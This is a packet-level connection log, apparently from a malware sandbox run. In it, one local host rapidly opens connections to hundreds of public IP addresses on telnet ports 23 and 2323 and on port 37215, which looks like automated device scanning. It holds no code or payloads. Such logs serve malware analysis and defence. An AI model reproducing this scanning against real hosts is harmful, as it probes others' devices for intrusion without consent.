Oct 8, 2024 20:34:44.997397900 CEST	48169	37215	192.168.2.14	156.98.240.127
Oct 8, 2024 20:34:44.997404099 CEST	37215	48169	41.114.93.239	192.168.2.14
Oct 8, 2024 20:34:44.997410059 CEST	48169	37215	192.168.2.14	197.187.203.95
Oct 8, 2024 20:34:44.997415066 CEST	48169	37215	192.168.2.14	197.150.211.123
Oct 8, 2024 20:34:44.997423887 CEST	48169	37215	192.168.2.14	41.59.148.141
Oct 8, 2024 20:34:44.997430086 CEST	48169	37215	192.168.2.14	41.114.93.239
Oct 8, 2024 20:34:44.997800112 CEST	37215	48169	156.37.10.222	192.168.2.14
Oct 8, 2024 20:34:44.997808933 CEST	37215	48169	41.162.31.214	192.168.2.14
Oct 8, 2024 20:34:44.997813940 CEST	37215	48169	41.50.176.102	192.168.2.14
Oct 8, 2024 20:34:44.997823954 CEST	37215	48169	156.152.154.113	192.168.2.14
Oct 8, 2024 20:34:44.997834921 CEST	37215	48169	156.88.246.36	192.168.2.14
Oct 8, 2024 20:34:44.997838974 CEST	48169	37215	192.168.2.14	41.162.31.214
Oct 8, 2024 20:34:44.997848034 CEST	37215	48169	41.65.39.60	192.168.2.14
Oct 8, 2024 20:34:44.997859001 CEST	37215	48169	197.130.58.58	192.168.2.14
Oct 8, 2024 20:34:44.997869015 CEST	37215	48169	197.70.230.27	192.168.2.14
Oct 8, 2024 20:34:44.997870922 CEST	48169	37215	192.168.2.14	156.88.246.36
Oct 8, 2024 20:34:44.997879028 CEST	37215	48169	156.238.212.4	192.168.2.14
Oct 8, 2024 20:34:44.997889042 CEST	37215	48169	156.140.197.98	192.168.2.14
Oct 8, 2024 20:34:44.997894049 CEST	37215	48169	197.47.109.6	192.168.2.14
Oct 8, 2024 20:34:44.997898102 CEST	37215	48169	156.175.14.231	192.168.2.14
Oct 8, 2024 20:34:44.997904062 CEST	48169	37215	192.168.2.14	41.50.176.102
Oct 8, 2024 20:34:44.997905970 CEST	48169	37215	192.168.2.14	197.70.230.27
Oct 8, 2024 20:34:44.997906923 CEST	48169	37215	192.168.2.14	41.65.39.60
Oct 8, 2024 20:34:44.997908115 CEST	37215	48169	156.150.59.95	192.168.2.14
Oct 8, 2024 20:34:44.997908115 CEST	48169	37215	192.168.2.14	156.37.10.222
Oct 8, 2024 20:34:44.997908115 CEST	48169	37215	192.168.2.14	156.152.154.113
Oct 8, 2024 20:34:44.997908115 CEST	48169	37215	192.168.2.14	197.130.58.58
Oct 8, 2024 20:34:44.997920990 CEST	37215	48169	156.50.226.78	192.168.2.14
Oct 8, 2024 20:34:44.997925997 CEST	48169	37215	192.168.2.14	197.47.109.6
Oct 8, 2024 20:34:44.997925997 CEST	48169	37215	192.168.2.14	156.238.212.4
Oct 8, 2024 20:34:44.997925997 CEST	48169	37215	192.168.2.14	156.140.197.98
Oct 8, 2024 20:34:44.997931004 CEST	37215	48169	197.220.232.80	192.168.2.14
Oct 8, 2024 20:34:44.997941017 CEST	37215	48169	41.125.31.116	192.168.2.14
Oct 8, 2024 20:34:44.997946024 CEST	48169	37215	192.168.2.14	156.175.14.231
Oct 8, 2024 20:34:44.997950077 CEST	48169	37215	192.168.2.14	156.150.59.95
Oct 8, 2024 20:34:44.997951984 CEST	37215	48169	197.206.207.241	192.168.2.14
Oct 8, 2024 20:34:44.997961044 CEST	37215	48169	156.221.85.135	192.168.2.14
Oct 8, 2024 20:34:44.997963905 CEST	48169	37215	192.168.2.14	156.50.226.78
Oct 8, 2024 20:34:44.997967005 CEST	48169	37215	192.168.2.14	197.220.232.80
Oct 8, 2024 20:34:44.997971058 CEST	37215	48169	41.110.120.152	192.168.2.14
Oct 8, 2024 20:34:44.997972965 CEST	48169	37215	192.168.2.14	41.125.31.116
Oct 8, 2024 20:34:44.997981071 CEST	37215	48169	197.172.66.108	192.168.2.14
Oct 8, 2024 20:34:44.997989893 CEST	37215	48169	41.250.235.11	192.168.2.14
Oct 8, 2024 20:34:44.997991085 CEST	48169	37215	192.168.2.14	156.221.85.135
Oct 8, 2024 20:34:44.997998953 CEST	48169	37215	192.168.2.14	197.206.207.241
Oct 8, 2024 20:34:44.997999907 CEST	37215	48169	156.167.162.232	192.168.2.14
Oct 8, 2024 20:34:44.998003960 CEST	48169	37215	192.168.2.14	41.110.120.152
Oct 8, 2024 20:34:44.998006105 CEST	48169	37215	192.168.2.14	197.172.66.108
Oct 8, 2024 20:34:44.998013973 CEST	37215	48169	197.214.248.195	192.168.2.14
Oct 8, 2024 20:34:44.998023987 CEST	37215	48169	156.249.192.141	192.168.2.14
Oct 8, 2024 20:34:44.998033047 CEST	48169	37215	192.168.2.14	156.167.162.232
Oct 8, 2024 20:34:44.998034954 CEST	37215	48169	156.132.114.182	192.168.2.14
Oct 8, 2024 20:34:44.998034954 CEST	48169	37215	192.168.2.14	41.250.235.11
Oct 8, 2024 20:34:44.998047113 CEST	37215	48169	197.242.161.238	192.168.2.14
Oct 8, 2024 20:34:44.998049021 CEST	48169	37215	192.168.2.14	156.249.192.141
Oct 8, 2024 20:34:44.998059034 CEST	37215	48169	197.96.94.110	192.168.2.14
Oct 8, 2024 20:34:44.998070002 CEST	37215	48169	197.104.170.146	192.168.2.14
Oct 8, 2024 20:34:44.998070955 CEST	48169	37215	192.168.2.14	156.132.114.182
Oct 8, 2024 20:34:44.998078108 CEST	48169	37215	192.168.2.14	197.242.161.238
Oct 8, 2024 20:34:44.998080015 CEST	37215	48169	197.70.178.211	192.168.2.14
Oct 8, 2024 20:34:44.998089075 CEST	48169	37215	192.168.2.14	197.214.248.195
Oct 8, 2024 20:34:44.998090982 CEST	37215	48169	41.160.220.23	192.168.2.14
Oct 8, 2024 20:34:44.998092890 CEST	48169	37215	192.168.2.14	197.96.94.110
Oct 8, 2024 20:34:44.998100996 CEST	37215	48169	197.67.198.95	192.168.2.14
Oct 8, 2024 20:34:44.998102903 CEST	48169	37215	192.168.2.14	197.104.170.146
Oct 8, 2024 20:34:44.998111963 CEST	37215	48169	197.61.213.15	192.168.2.14
Oct 8, 2024 20:34:44.998112917 CEST	48169	37215	192.168.2.14	197.70.178.211
Oct 8, 2024 20:34:44.998121977 CEST	37215	48169	197.252.139.136	192.168.2.14
Oct 8, 2024 20:34:44.998152971 CEST	48169	37215	192.168.2.14	197.61.213.15
Oct 8, 2024 20:34:44.998152971 CEST	48169	37215	192.168.2.14	197.252.139.136
Oct 8, 2024 20:34:44.998153925 CEST	48169	37215	192.168.2.14	197.67.198.95
Oct 8, 2024 20:34:44.998153925 CEST	48169	37215	192.168.2.14	41.160.220.23
Oct 8, 2024 20:34:44.998298883 CEST	37215	48169	197.119.240.213	192.168.2.14
Oct 8, 2024 20:34:44.998310089 CEST	37215	48169	156.10.139.231	192.168.2.14
Oct 8, 2024 20:34:44.998318911 CEST	37215	48169	41.207.128.139	192.168.2.14
Oct 8, 2024 20:34:44.998328924 CEST	37215	48169	197.7.66.230	192.168.2.14
Oct 8, 2024 20:34:44.998331070 CEST	48169	37215	192.168.2.14	197.119.240.213
Oct 8, 2024 20:34:44.998337030 CEST	48169	37215	192.168.2.14	156.10.139.231
Oct 8, 2024 20:34:44.998339891 CEST	37215	48169	41.79.82.159	192.168.2.14
Oct 8, 2024 20:34:44.998352051 CEST	37215	48169	197.38.96.29	192.168.2.14
Oct 8, 2024 20:34:44.998353958 CEST	48169	37215	192.168.2.14	41.207.128.139
Oct 8, 2024 20:34:44.998363018 CEST	37215	48169	156.106.239.156	192.168.2.14
Oct 8, 2024 20:34:44.998374939 CEST	37215	48169	197.100.205.42	192.168.2.14
Oct 8, 2024 20:34:44.998384953 CEST	37215	48169	41.19.152.175	192.168.2.14
Oct 8, 2024 20:34:44.998394012 CEST	37215	48169	156.13.102.218	192.168.2.14
Oct 8, 2024 20:34:44.998394012 CEST	48169	37215	192.168.2.14	197.7.66.230
Oct 8, 2024 20:34:44.998404026 CEST	37215	48169	41.185.143.111	192.168.2.14
Oct 8, 2024 20:34:44.998409033 CEST	48169	37215	192.168.2.14	41.79.82.159
Oct 8, 2024 20:34:44.998410940 CEST	48169	37215	192.168.2.14	197.38.96.29
Oct 8, 2024 20:34:44.998410940 CEST	48169	37215	192.168.2.14	156.106.239.156
Oct 8, 2024 20:34:44.998413086 CEST	48169	37215	192.168.2.14	197.100.205.42
Oct 8, 2024 20:34:44.998413086 CEST	48169	37215	192.168.2.14	41.19.152.175
Oct 8, 2024 20:34:44.998414993 CEST	37215	48169	41.108.159.163	192.168.2.14
Oct 8, 2024 20:34:44.998423100 CEST	48169	37215	192.168.2.14	156.13.102.218
Oct 8, 2024 20:34:44.998425007 CEST	37215	48169	197.153.176.206	192.168.2.14
Oct 8, 2024 20:34:44.998430014 CEST	48169	37215	192.168.2.14	41.185.143.111
Oct 8, 2024 20:34:44.998436928 CEST	37215	48169	156.191.25.63	192.168.2.14
Oct 8, 2024 20:34:44.998446941 CEST	37215	48169	41.249.195.21	192.168.2.14
Oct 8, 2024 20:34:44.998454094 CEST	48169	37215	192.168.2.14	197.153.176.206
Oct 8, 2024 20:34:44.998456955 CEST	37215	48169	197.145.23.237	192.168.2.14
Oct 8, 2024 20:34:44.998465061 CEST	37215	48169	197.45.163.20	192.168.2.14
Oct 8, 2024 20:34:44.998471975 CEST	48169	37215	192.168.2.14	41.249.195.21
Oct 8, 2024 20:34:44.998472929 CEST	48169	37215	192.168.2.14	41.108.159.163
Oct 8, 2024 20:34:44.998475075 CEST	48169	37215	192.168.2.14	156.191.25.63
Oct 8, 2024 20:34:44.998476982 CEST	37215	48169	41.59.125.46	192.168.2.14
Oct 8, 2024 20:34:44.998485088 CEST	48169	37215	192.168.2.14	197.145.23.237
Oct 8, 2024 20:34:44.998486996 CEST	37215	48169	197.221.45.21	192.168.2.14
Oct 8, 2024 20:34:44.998496056 CEST	37215	48169	41.5.23.116	192.168.2.14
Oct 8, 2024 20:34:44.998507023 CEST	37215	48169	41.4.208.158	192.168.2.14
Oct 8, 2024 20:34:44.998516083 CEST	48169	37215	192.168.2.14	197.221.45.21
Oct 8, 2024 20:34:44.998516083 CEST	37215	48169	41.250.111.239	192.168.2.14
Oct 8, 2024 20:34:44.998522043 CEST	48169	37215	192.168.2.14	41.59.125.46
Oct 8, 2024 20:34:44.998528957 CEST	37215	48169	156.235.201.5	192.168.2.14
Oct 8, 2024 20:34:44.998536110 CEST	48169	37215	192.168.2.14	41.4.208.158
Oct 8, 2024 20:34:44.998542070 CEST	37215	48169	156.13.168.100	192.168.2.14
Oct 8, 2024 20:34:44.998548985 CEST	48169	37215	192.168.2.14	197.45.163.20
Oct 8, 2024 20:34:44.998553991 CEST	48169	37215	192.168.2.14	41.5.23.116
Oct 8, 2024 20:34:44.998553991 CEST	37215	48169	197.190.192.6	192.168.2.14
Oct 8, 2024 20:34:44.998553991 CEST	48169	37215	192.168.2.14	41.250.111.239
Oct 8, 2024 20:34:44.998563051 CEST	48169	37215	192.168.2.14	156.235.201.5
Oct 8, 2024 20:34:44.998564959 CEST	37215	48169	41.250.246.18	192.168.2.14
Oct 8, 2024 20:34:44.998574972 CEST	37215	48169	197.74.165.227	192.168.2.14
Oct 8, 2024 20:34:44.998580933 CEST	48169	37215	192.168.2.14	156.13.168.100
Oct 8, 2024 20:34:44.998584986 CEST	37215	48169	197.201.78.159	192.168.2.14
Oct 8, 2024 20:34:44.998595953 CEST	37215	48169	197.104.130.43	192.168.2.14
Oct 8, 2024 20:34:44.998599052 CEST	48169	37215	192.168.2.14	197.190.192.6
Oct 8, 2024 20:34:44.998599052 CEST	48169	37215	192.168.2.14	41.250.246.18
Oct 8, 2024 20:34:44.998603106 CEST	48169	37215	192.168.2.14	197.74.165.227
Oct 8, 2024 20:34:44.998605013 CEST	37215	48169	156.0.135.63	192.168.2.14
Oct 8, 2024 20:34:44.998615026 CEST	37215	48169	197.58.43.92	192.168.2.14
Oct 8, 2024 20:34:44.998627901 CEST	48169	37215	192.168.2.14	197.201.78.159
Oct 8, 2024 20:34:44.998627901 CEST	48169	37215	192.168.2.14	197.104.130.43
Oct 8, 2024 20:34:44.998629093 CEST	37215	48169	41.26.40.176	192.168.2.14
Oct 8, 2024 20:34:44.998640060 CEST	23	40608	76.12.183.181	192.168.2.14
Oct 8, 2024 20:34:44.998644114 CEST	48169	37215	192.168.2.14	156.0.135.63
Oct 8, 2024 20:34:44.998650074 CEST	37215	39898	197.169.44.159	192.168.2.14
Oct 8, 2024 20:34:44.998653889 CEST	48169	37215	192.168.2.14	197.58.43.92
Oct 8, 2024 20:34:44.998661041 CEST	23	37048	185.58.65.43	192.168.2.14
Oct 8, 2024 20:34:44.998672009 CEST	40608	23	192.168.2.14	76.12.183.181
Oct 8, 2024 20:34:44.998692036 CEST	48169	37215	192.168.2.14	41.26.40.176
Oct 8, 2024 20:34:44.998698950 CEST	37048	23	192.168.2.14	185.58.65.43
Oct 8, 2024 20:34:44.998708010 CEST	39898	37215	192.168.2.14	197.169.44.159
Oct 8, 2024 20:34:44.998851061 CEST	32946	2323	192.168.2.14	14.142.165.152
Oct 8, 2024 20:34:45.001293898 CEST	23	38964	77.144.205.213	192.168.2.14
Oct 8, 2024 20:34:45.001342058 CEST	38964	23	192.168.2.14	77.144.205.213
Oct 8, 2024 20:34:45.003273964 CEST	37215	46710	156.136.228.139	192.168.2.14
Oct 8, 2024 20:34:45.003309011 CEST	46710	37215	192.168.2.14	156.136.228.139
Oct 8, 2024 20:34:45.003618956 CEST	23	55540	166.47.64.4	192.168.2.14
Oct 8, 2024 20:34:45.003700018 CEST	57252	37215	192.168.2.14	197.120.159.78
Oct 8, 2024 20:34:45.003700972 CEST	55540	23	192.168.2.14	166.47.64.4
Oct 8, 2024 20:34:45.005315065 CEST	2323	32946	14.142.165.152	192.168.2.14
Oct 8, 2024 20:34:45.006285906 CEST	32946	2323	192.168.2.14	14.142.165.152
Oct 8, 2024 20:34:45.006690025 CEST	46574	23	192.168.2.14	85.46.82.42
Oct 8, 2024 20:34:45.009588957 CEST	37215	57252	197.120.159.78	192.168.2.14
Oct 8, 2024 20:34:45.009623051 CEST	57252	37215	192.168.2.14	197.120.159.78
Oct 8, 2024 20:34:45.009658098 CEST	35784	23	192.168.2.14	177.245.114.0
Oct 8, 2024 20:34:45.010977983 CEST	58616	37215	192.168.2.14	197.75.45.209
Oct 8, 2024 20:34:45.011645079 CEST	39128	23	192.168.2.14	164.80.35.201
Oct 8, 2024 20:34:45.011926889 CEST	23	46574	85.46.82.42	192.168.2.14
Oct 8, 2024 20:34:45.011962891 CEST	46574	23	192.168.2.14	85.46.82.42
Oct 8, 2024 20:34:45.013386011 CEST	58806	23	192.168.2.14	86.162.242.210
Oct 8, 2024 20:34:45.014823914 CEST	52900	37215	192.168.2.14	197.53.135.75
Oct 8, 2024 20:34:45.014856100 CEST	23	35784	177.245.114.0	192.168.2.14
Oct 8, 2024 20:34:45.014892101 CEST	35784	23	192.168.2.14	177.245.114.0
Oct 8, 2024 20:34:45.015623093 CEST	57216	23	192.168.2.14	142.71.235.32
Oct 8, 2024 20:34:45.015799999 CEST	37215	58616	197.75.45.209	192.168.2.14
Oct 8, 2024 20:34:45.015862942 CEST	58616	37215	192.168.2.14	197.75.45.209
Oct 8, 2024 20:34:45.016554117 CEST	23	39128	164.80.35.201	192.168.2.14
Oct 8, 2024 20:34:45.016590118 CEST	39128	23	192.168.2.14	164.80.35.201
Oct 8, 2024 20:34:45.017601013 CEST	44844	23	192.168.2.14	46.125.192.163
Oct 8, 2024 20:34:45.018531084 CEST	23	58806	86.162.242.210	192.168.2.14
Oct 8, 2024 20:34:45.018570900 CEST	58806	23	192.168.2.14	86.162.242.210
Oct 8, 2024 20:34:45.019135952 CEST	50070	37215	192.168.2.14	41.66.89.207
Oct 8, 2024 20:34:45.019706964 CEST	37215	52900	197.53.135.75	192.168.2.14
Oct 8, 2024 20:34:45.020435095 CEST	23	57216	142.71.235.32	192.168.2.14
Oct 8, 2024 20:34:45.020473957 CEST	57216	23	192.168.2.14	142.71.235.32
Oct 8, 2024 20:34:45.022401094 CEST	23	44844	46.125.192.163	192.168.2.14
Oct 8, 2024 20:34:45.022439003 CEST	44844	23	192.168.2.14	46.125.192.163
Oct 8, 2024 20:34:45.022603989 CEST	52900	37215	192.168.2.14	197.53.135.75
Oct 8, 2024 20:34:45.022746086 CEST	49362	23	192.168.2.14	205.223.131.194
Oct 8, 2024 20:34:45.023921013 CEST	37215	50070	41.66.89.207	192.168.2.14
Oct 8, 2024 20:34:45.024039984 CEST	50070	37215	192.168.2.14	41.66.89.207
Oct 8, 2024 20:34:45.027700901 CEST	23	49362	205.223.131.194	192.168.2.14
Oct 8, 2024 20:34:45.027736902 CEST	49362	23	192.168.2.14	205.223.131.194
Oct 8, 2024 20:34:45.032917023 CEST	50330	23	192.168.2.14	166.27.169.186
Oct 8, 2024 20:34:45.036139965 CEST	47660	37215	192.168.2.14	197.146.79.42
Oct 8, 2024 20:34:45.036895990 CEST	50686	23	192.168.2.14	206.113.216.43
Oct 8, 2024 20:34:45.037688017 CEST	23	50330	166.27.169.186	192.168.2.14
Oct 8, 2024 20:34:45.037727118 CEST	50330	23	192.168.2.14	166.27.169.186
Oct 8, 2024 20:34:45.039367914 CEST	37558	2323	192.168.2.14	81.111.221.62
Oct 8, 2024 20:34:45.041018963 CEST	37215	47660	197.146.79.42	192.168.2.14
Oct 8, 2024 20:34:45.041100979 CEST	47660	37215	192.168.2.14	197.146.79.42
Oct 8, 2024 20:34:45.041593075 CEST	23	50686	206.113.216.43	192.168.2.14
Oct 8, 2024 20:34:45.041626930 CEST	50686	23	192.168.2.14	206.113.216.43
Oct 8, 2024 20:34:45.041788101 CEST	56320	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:45.043673992 CEST	55748	23	192.168.2.14	152.189.190.254
Oct 8, 2024 20:34:45.044162989 CEST	2323	37558	81.111.221.62	192.168.2.14
Oct 8, 2024 20:34:45.044238091 CEST	37558	2323	192.168.2.14	81.111.221.62
Oct 8, 2024 20:34:45.046529055 CEST	37215	56320	41.196.1.126	192.168.2.14
Oct 8, 2024 20:34:45.046576023 CEST	56320	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:45.047547102 CEST	58088	23	192.168.2.14	45.234.112.54
Oct 8, 2024 20:34:45.048434973 CEST	23	55748	152.189.190.254	192.168.2.14
Oct 8, 2024 20:34:45.048507929 CEST	55748	23	192.168.2.14	152.189.190.254
Oct 8, 2024 20:34:45.048995018 CEST	49720	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:45.049721956 CEST	35568	23	192.168.2.14	37.211.124.44
Oct 8, 2024 20:34:45.052030087 CEST	60996	23	192.168.2.14	17.12.240.2
Oct 8, 2024 20:34:45.052525997 CEST	23	58088	45.234.112.54	192.168.2.14
Oct 8, 2024 20:34:45.052570105 CEST	58088	23	192.168.2.14	45.234.112.54
Oct 8, 2024 20:34:45.053798914 CEST	37215	49720	156.74.149.151	192.168.2.14
Oct 8, 2024 20:34:45.053916931 CEST	49720	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:45.054061890 CEST	42110	37215	192.168.2.14	197.100.85.188
Oct 8, 2024 20:34:45.054482937 CEST	23	35568	37.211.124.44	192.168.2.14
Oct 8, 2024 20:34:45.054518938 CEST	35568	23	192.168.2.14	37.211.124.44
Oct 8, 2024 20:34:45.055125952 CEST	44784	23	192.168.2.14	205.165.176.1
Oct 8, 2024 20:34:45.056860924 CEST	23	60996	17.12.240.2	192.168.2.14
Oct 8, 2024 20:34:45.056915045 CEST	60996	23	192.168.2.14	17.12.240.2
Oct 8, 2024 20:34:45.057600975 CEST	56132	23	192.168.2.14	85.17.11.53
Oct 8, 2024 20:34:45.059264898 CEST	37215	42110	197.100.85.188	192.168.2.14
Oct 8, 2024 20:34:45.059376955 CEST	42110	37215	192.168.2.14	197.100.85.188
Oct 8, 2024 20:34:45.059864044 CEST	36528	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:45.060476065 CEST	23	44784	205.165.176.1	192.168.2.14
Oct 8, 2024 20:34:45.060522079 CEST	44784	23	192.168.2.14	205.165.176.1
Oct 8, 2024 20:34:45.061022043 CEST	51214	23	192.168.2.14	36.225.40.250
Oct 8, 2024 20:34:45.062793970 CEST	23	56132	85.17.11.53	192.168.2.14
Oct 8, 2024 20:34:45.062834024 CEST	56132	23	192.168.2.14	85.17.11.53
Oct 8, 2024 20:34:45.063381910 CEST	54868	23	192.168.2.14	103.210.167.21
Oct 8, 2024 20:34:45.064599991 CEST	37215	36528	41.103.212.117	192.168.2.14
Oct 8, 2024 20:34:45.064650059 CEST	36528	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:45.066450119 CEST	23	51214	36.225.40.250	192.168.2.14
Oct 8, 2024 20:34:45.066489935 CEST	51214	23	192.168.2.14	36.225.40.250
Oct 8, 2024 20:34:45.068650007 CEST	23	54868	103.210.167.21	192.168.2.14
Oct 8, 2024 20:34:45.069060087 CEST	54868	23	192.168.2.14	103.210.167.21
Oct 8, 2024 20:34:45.071504116 CEST	52650	37215	192.168.2.14	197.67.121.133
Oct 8, 2024 20:34:45.074723005 CEST	46112	23	192.168.2.14	110.57.174.147
Oct 8, 2024 20:34:45.077577114 CEST	37215	52650	197.67.121.133	192.168.2.14
Oct 8, 2024 20:34:45.077630043 CEST	52650	37215	192.168.2.14	197.67.121.133
Oct 8, 2024 20:34:45.079181910 CEST	35484	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:45.079593897 CEST	23	46112	110.57.174.147	192.168.2.14
Oct 8, 2024 20:34:45.081012964 CEST	46112	23	192.168.2.14	110.57.174.147
Oct 8, 2024 20:34:45.083980083 CEST	2323	35484	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:45.084017038 CEST	35484	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:45.086807966 CEST	56946	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:45.088105917 CEST	57086	23	192.168.2.14	95.194.173.7
Oct 8, 2024 20:34:45.091439962 CEST	35342	23	192.168.2.14	191.80.13.93
Oct 8, 2024 20:34:45.091686010 CEST	37215	56946	41.200.79.242	192.168.2.14
Oct 8, 2024 20:34:45.092313051 CEST	56946	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:45.092964888 CEST	23	57086	95.194.173.7	192.168.2.14
Oct 8, 2024 20:34:45.093024969 CEST	57086	23	192.168.2.14	95.194.173.7
Oct 8, 2024 20:34:45.093352079 CEST	39644	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:45.094386101 CEST	57804	23	192.168.2.14	216.22.164.223
Oct 8, 2024 20:34:45.096250057 CEST	23	35342	191.80.13.93	192.168.2.14
Oct 8, 2024 20:34:45.096399069 CEST	35342	23	192.168.2.14	191.80.13.93
Oct 8, 2024 20:34:45.097400904 CEST	41302	23	192.168.2.14	187.116.228.153
Oct 8, 2024 20:34:45.098155022 CEST	37215	39644	197.103.175.106	192.168.2.14
Oct 8, 2024 20:34:45.098261118 CEST	39644	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:45.099404097 CEST	23	57804	216.22.164.223	192.168.2.14
Oct 8, 2024 20:34:45.099443913 CEST	57804	23	192.168.2.14	216.22.164.223
Oct 8, 2024 20:34:45.099582911 CEST	41382	37215	192.168.2.14	197.139.250.29
Oct 8, 2024 20:34:45.100333929 CEST	47108	23	192.168.2.14	108.129.36.220
Oct 8, 2024 20:34:45.102339983 CEST	23	41302	187.116.228.153	192.168.2.14
Oct 8, 2024 20:34:45.102405071 CEST	41302	23	192.168.2.14	187.116.228.153
Oct 8, 2024 20:34:45.103096962 CEST	51248	23	192.168.2.14	148.240.114.68
Oct 8, 2024 20:34:45.104619980 CEST	37215	41382	197.139.250.29	192.168.2.14
Oct 8, 2024 20:34:45.104691029 CEST	41382	37215	192.168.2.14	197.139.250.29
Oct 8, 2024 20:34:45.105207920 CEST	23	47108	108.129.36.220	192.168.2.14
Oct 8, 2024 20:34:45.105252981 CEST	47108	23	192.168.2.14	108.129.36.220
Oct 8, 2024 20:34:45.105423927 CEST	50072	37215	192.168.2.14	156.112.111.237
Oct 8, 2024 20:34:45.106322050 CEST	37586	23	192.168.2.14	206.192.111.200
Oct 8, 2024 20:34:45.107856989 CEST	23	51248	148.240.114.68	192.168.2.14
Oct 8, 2024 20:34:45.108489990 CEST	51248	23	192.168.2.14	148.240.114.68
Oct 8, 2024 20:34:45.110407114 CEST	37215	50072	156.112.111.237	192.168.2.14
Oct 8, 2024 20:34:45.110480070 CEST	50072	37215	192.168.2.14	156.112.111.237
Oct 8, 2024 20:34:45.111227036 CEST	23	37586	206.192.111.200	192.168.2.14
Oct 8, 2024 20:34:45.111263990 CEST	37586	23	192.168.2.14	206.192.111.200
Oct 8, 2024 20:34:45.126651049 CEST	56628	23	192.168.2.14	210.207.140.126
Oct 8, 2024 20:34:45.128259897 CEST	60008	37215	192.168.2.14	156.224.97.47
Oct 8, 2024 20:34:45.129539967 CEST	33944	23	192.168.2.14	90.92.194.151
Oct 8, 2024 20:34:45.131210089 CEST	52646	23	192.168.2.14	61.158.129.69
Oct 8, 2024 20:34:45.132236004 CEST	38406	37215	192.168.2.14	41.171.155.222
Oct 8, 2024 20:34:45.132376909 CEST	23	56628	210.207.140.126	192.168.2.14
Oct 8, 2024 20:34:45.132447004 CEST	56628	23	192.168.2.14	210.207.140.126
Oct 8, 2024 20:34:45.133512020 CEST	37215	60008	156.224.97.47	192.168.2.14
Oct 8, 2024 20:34:45.133677959 CEST	60008	37215	192.168.2.14	156.224.97.47
Oct 8, 2024 20:34:45.133866072 CEST	34868	2323	192.168.2.14	181.114.197.8
Oct 8, 2024 20:34:45.134490013 CEST	23	33944	90.92.194.151	192.168.2.14
Oct 8, 2024 20:34:45.134555101 CEST	33944	23	192.168.2.14	90.92.194.151
Oct 8, 2024 20:34:45.135788918 CEST	43982	23	192.168.2.14	72.93.197.17
Oct 8, 2024 20:34:45.136107922 CEST	23	52646	61.158.129.69	192.168.2.14
Oct 8, 2024 20:34:45.136272907 CEST	52646	23	192.168.2.14	61.158.129.69
Oct 8, 2024 20:34:45.137072086 CEST	37215	38406	41.171.155.222	192.168.2.14
Oct 8, 2024 20:34:45.137835026 CEST	38406	37215	192.168.2.14	41.171.155.222
Oct 8, 2024 20:34:45.138739109 CEST	2323	34868	181.114.197.8	192.168.2.14
Oct 8, 2024 20:34:45.138783932 CEST	34868	2323	192.168.2.14	181.114.197.8
Oct 8, 2024 20:34:45.138928890 CEST	52806	37215	192.168.2.14	156.212.37.239
Oct 8, 2024 20:34:45.139497995 CEST	42494	23	192.168.2.14	211.82.164.220
Oct 8, 2024 20:34:45.140619993 CEST	23	43982	72.93.197.17	192.168.2.14
Oct 8, 2024 20:34:45.140661001 CEST	43982	23	192.168.2.14	72.93.197.17
Oct 8, 2024 20:34:45.141611099 CEST	59892	23	192.168.2.14	122.216.74.115
Oct 8, 2024 20:34:45.144032955 CEST	37215	52806	156.212.37.239	192.168.2.14
Oct 8, 2024 20:34:45.144084930 CEST	52806	37215	192.168.2.14	156.212.37.239
Oct 8, 2024 20:34:45.144243956 CEST	45858	37215	192.168.2.14	156.252.34.119
Oct 8, 2024 20:34:45.144486904 CEST	23	42494	211.82.164.220	192.168.2.14
Oct 8, 2024 20:34:45.144541025 CEST	42494	23	192.168.2.14	211.82.164.220
Oct 8, 2024 20:34:45.145207882 CEST	57790	23	192.168.2.14	130.179.187.172
Oct 8, 2024 20:34:45.146956921 CEST	23	59892	122.216.74.115	192.168.2.14
Oct 8, 2024 20:34:45.147109985 CEST	59892	23	192.168.2.14	122.216.74.115
Oct 8, 2024 20:34:45.147444963 CEST	60564	23	192.168.2.14	1.24.254.109
Oct 8, 2024 20:34:45.149068117 CEST	52058	37215	192.168.2.14	41.62.139.88
Oct 8, 2024 20:34:45.149211884 CEST	37215	45858	156.252.34.119	192.168.2.14
Oct 8, 2024 20:34:45.149260044 CEST	45858	37215	192.168.2.14	156.252.34.119
Oct 8, 2024 20:34:45.150118113 CEST	23	57790	130.179.187.172	192.168.2.14
Oct 8, 2024 20:34:45.150607109 CEST	57790	23	192.168.2.14	130.179.187.172
Oct 8, 2024 20:34:45.150733948 CEST	41854	23	192.168.2.14	82.238.123.180
Oct 8, 2024 20:34:45.152477980 CEST	23	60564	1.24.254.109	192.168.2.14
Oct 8, 2024 20:34:45.152549982 CEST	60564	23	192.168.2.14	1.24.254.109
Oct 8, 2024 20:34:45.152709961 CEST	43168	2323	192.168.2.14	99.245.10.131
Oct 8, 2024 20:34:45.153897047 CEST	37215	52058	41.62.139.88	192.168.2.14
Oct 8, 2024 20:34:45.154000044 CEST	52058	37215	192.168.2.14	41.62.139.88
Oct 8, 2024 20:34:45.154134035 CEST	52538	37215	192.168.2.14	41.71.213.174
Oct 8, 2024 20:34:45.154870033 CEST	42772	23	192.168.2.14	208.240.214.186
Oct 8, 2024 20:34:45.155505896 CEST	23	41854	82.238.123.180	192.168.2.14
Oct 8, 2024 20:34:45.155756950 CEST	41854	23	192.168.2.14	82.238.123.180
Oct 8, 2024 20:34:45.157646894 CEST	2323	43168	99.245.10.131	192.168.2.14
Oct 8, 2024 20:34:45.157915115 CEST	43168	2323	192.168.2.14	99.245.10.131
Oct 8, 2024 20:34:45.158014059 CEST	59388	23	192.168.2.14	97.76.120.251
Oct 8, 2024 20:34:45.158987045 CEST	37215	52538	41.71.213.174	192.168.2.14
Oct 8, 2024 20:34:45.159033060 CEST	52538	37215	192.168.2.14	41.71.213.174
Oct 8, 2024 20:34:45.159665108 CEST	23	42772	208.240.214.186	192.168.2.14
